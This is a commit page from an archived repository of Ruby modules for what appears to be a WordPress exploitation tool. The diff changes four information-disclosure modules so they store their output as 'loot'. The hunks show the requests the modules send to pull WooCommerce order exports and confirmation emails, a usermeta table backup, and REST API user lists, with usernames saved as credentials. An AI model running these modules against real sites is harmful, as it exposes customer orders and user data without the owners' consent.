Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 716e7d3

Browse files
committed
Update modules to use loot store
1 parent 24b5929 commit 716e7d3

File tree

4 files changed

+13
-22
lines changed

4 files changed

+13
-22
lines changed

modules/auxiliary/info/user_meta_manager_information_disclosure.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -88,7 +88,7 @@ def run
8888
emit_info 'Downloading table backup...'
8989
res = download_backup(cookie)
9090

91-
loot = export_and_log_loot res.body, 'backup of the usermeta table', 'backup', '.csv'
91+
loot = export_and_log_loot res.body, 'Backup of the usermeta table', 'backup', '.csv'
9292
emit_success "Downloaded backup to #{loot.path}"
9393

9494
true

modules/auxiliary/info/woocommerce_email_test_order_disclosure.rb

Lines changed: 4 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -24,8 +24,6 @@ def initialize
2424
],
2525
date: 'Dec 08 2016'
2626
)
27-
28-
register_export_path_option true
2927
end
3028

3129
def check
@@ -36,21 +34,20 @@ def run
3634
return false unless super
3735

3836
emit_info 'Downloading order confirmation export...'
39-
res = download_file(
37+
res = execute_get_request(
4038
url: full_uri,
41-
method: :get,
4239
params: {
4340
'woocommerce_email_test' => 'WC_Email_Customer_Completed_Order'
44-
},
45-
local_filename: export_path
41+
}
4642
)
4743

4844
if res.code != 200
4945
emit_error "Server responded with code #{res.code}"
5046
return false
5147
end
5248

53-
emit_success "Saved HTML e-mail to #{export_path}"
49+
loot = export_and_log_loot res.body, "The last WooCommerce order confirmation as of #{Time.now}", 'email', '.html'
50+
emit_success "Saved HTML e-mail to #{loot.path}"
5451
true
5552
end
5653
end

modules/auxiliary/info/woocommerce_order_import_export_order_disclosure.rb

Lines changed: 5 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -25,8 +25,6 @@ def initialize
2525
],
2626
date: 'Sep 19 2016'
2727
)
28-
29-
register_export_path_option true
3028
end
3129

3230
def check
@@ -41,22 +39,22 @@ def run
4139
return false unless super
4240

4341
emit_info 'Downloading order export CSV...'
44-
res = download_file(
42+
res = execute_get_request(
4543
url: export_url,
46-
method: :get,
4744
params: {
4845
'page' => 'wf_woocommerce_order_im_ex',
4946
'action' => 'export'
50-
},
51-
local_filename: export_path
47+
}
5248
)
5349

5450
if res.code != 200
5551
emit_error "Server responded with code #{res.code}"
5652
return false
5753
end
5854

59-
emit_success "Saved export to #{export_path}"
55+
loot = export_and_log_loot res.body, 'Export of WooCommerce orders', 'export', '.csv'
56+
emit_success "Saved export to #{loot.path}"
57+
6058
true
6159
end
6260
end

modules/auxiliary/info/wp_v4.7_user_info_disclosure.rb

Lines changed: 3 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -25,8 +25,6 @@ def initialize
2525
],
2626
date: 'Jan 11 2017'
2727
)
28-
29-
register_export_path_option false
3028
end
3129

3230
def check
@@ -62,6 +60,7 @@ def output_user_list(api_output)
6260

6361
users = JSON.parse(api_output)
6462
users.each do |user|
63+
store_credentials user['slug']
6564
rows.push(id: user['id'], username: user['slug'], name: user['name'])
6665
end
6766

@@ -79,11 +78,8 @@ def run
7978
emit_info 'Parsing result...', true
8079
output_user_list res.body
8180

82-
if export_path
83-
emit_info 'Saving export...'
84-
File.open(export_path, 'w') { |file| file.write(res.body) }
85-
emit_success "Saved export to #{export_path}"
86-
end
81+
loot = export_and_log_loot res.body, 'List of usernames from the REST API', 'user list', '.json'
82+
emit_success "Saved export to #{loot.path}"
8783

8884
true
8985
end

0 commit comments

Comments
 (0)